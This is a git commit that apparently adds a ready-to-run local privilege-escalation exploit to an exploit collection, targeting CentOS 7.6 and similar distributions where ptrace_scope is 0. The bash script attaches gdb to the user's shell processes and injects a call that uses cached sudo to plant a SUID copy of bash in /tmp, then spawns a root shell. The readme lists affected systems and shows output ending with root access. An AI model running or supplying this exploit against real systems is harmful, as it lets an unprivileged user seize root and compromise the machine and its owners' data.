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add CentOS 7.6 - 'ptrace_scope' 本地提权漏洞

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helloexp 2022-02-24 17:47:58 +08:00
parent 8e80f40f52
commit 825baf840f
2 changed files with 85 additions and 0 deletions
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39
98-Linux提权/CentOS 7.6 - 'ptrace_scope' Privilege Escalation/exploit.sh Normal file
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function startAttack(){
tput civis && pgrep "^(echo $(cat /etc/shells | tr '/' ' ' | awk 'NF{print $NF}' | tr '\n' '|'))$" -u "$(id -u)" | sed '$ d' | while read shell_pid; do
if [ $(cat /proc/$shell_pid/comm 2>/dev/null) ] || [ $(pwdx $shell_pid 2>/dev/null) ]; then
echo "[*] PID -> "$(cat "/proc/$shell_pid/comm" 2>/dev/null)
echo "[*] Path $(pwdx $shell_pid 2>/dev/null)"
fi; echo 'call system("echo | sudo -S cp /bin/bash /tmp >/dev/null 2>&1 && echo | sudo -S chmod +s /tmp/bash >/dev/null 2>&1")' | gdb -q -n -p "$shell_pid" >/dev/null 2>&1
done
if [ -f /tmp/bash ]; then
/tmp/bash -p -c 'echo -ne "\n[*] Cleaning up..."
rm /tmp/bash
echo -e " [√]"
echo -ne "[*] Spawning root shell..."
echo -e " [√]\n"
tput cnorm && bash -p'
else
echo -e "\n[*] Could not copy SUID to /tmp/bash [✗]"
fi
}
echo -ne "[*] Checking if 'ptrace_scope' is set to 0..."
if grep -q "0" < /proc/sys/kernel/yama/ptrace_scope; then
echo " [√]"
echo -ne "[*] Checking if 'GDB' is installed..."
if command -v gdb >/dev/null 2>&1; then
echo -e " [√]"
echo -e "[*] System seems vulnerable! [√]\n"
echo -e "[*] Starting attack..."
startAttack
else
echo " [✗]"
echo "[*] System is NOT vulnerable :( [✗]"
fi
else
echo " [✗]"
echo "[*] System is NOT vulnerable :( [✗]"
fi; tput cnorm

46
98-Linux提权/CentOS 7.6 - 'ptrace_scope' Privilege Escalation/readme.md Normal file
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## 受影响系统:
Parrot Home/Workstation 4.6 (Latest Version)
Parrot Security 4.6 (Latest Version)
CentOS / RedHat 7.6 (Latest Version)
Kali Linux 2018.4 (Latest Version)
## 提权过程
```shell script
┌─[s4vitar@parrot]─[~/Desktop/Exploit/Privesc]
└──╼ $./exploit.sh
[*] Checking if 'ptrace_scope' is set to 0... [√]
[*] Checking if 'GDB' is installed... [√]
[*] System seems vulnerable! [√]
[*] Starting attack...
[*] PID -> sh
[*] Path 824: /home/s4vitar
[*] PID -> bash
[*] Path 832: /home/s4vitar/Desktop/Exploit/Privesc
[*] PID -> sh
[*] Path
[*] PID -> sh
[*] Path
[*] PID -> sh
[*] Path
[*] PID -> sh
[*] Path
[*] PID -> bash
[*] Path 1816: /home/s4vitar/Desktop/Exploit/Privesc
[*] PID -> bash
[*] Path 1842: /home/s4vitar
[*] PID -> bash
[*] Path 1852: /home/s4vitar/Desktop/Exploit/Privesc
[*] PID -> bash
[*] Path 1857: /home/s4vitar/Desktop/Exploit/Privesc
[*] Cleaning up... [√]
[*] Spawning root shell... [√]
bash-4.4# whoami
root
bash-4.4# id
uid=1000(s4vitar) gid=1000(s4vitar) euid=0(root) egid=0(root) grupos=0(root),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(debian-tor),124(bluetooth),136(scanner),1000(s4vitar)
bash-4.4#
```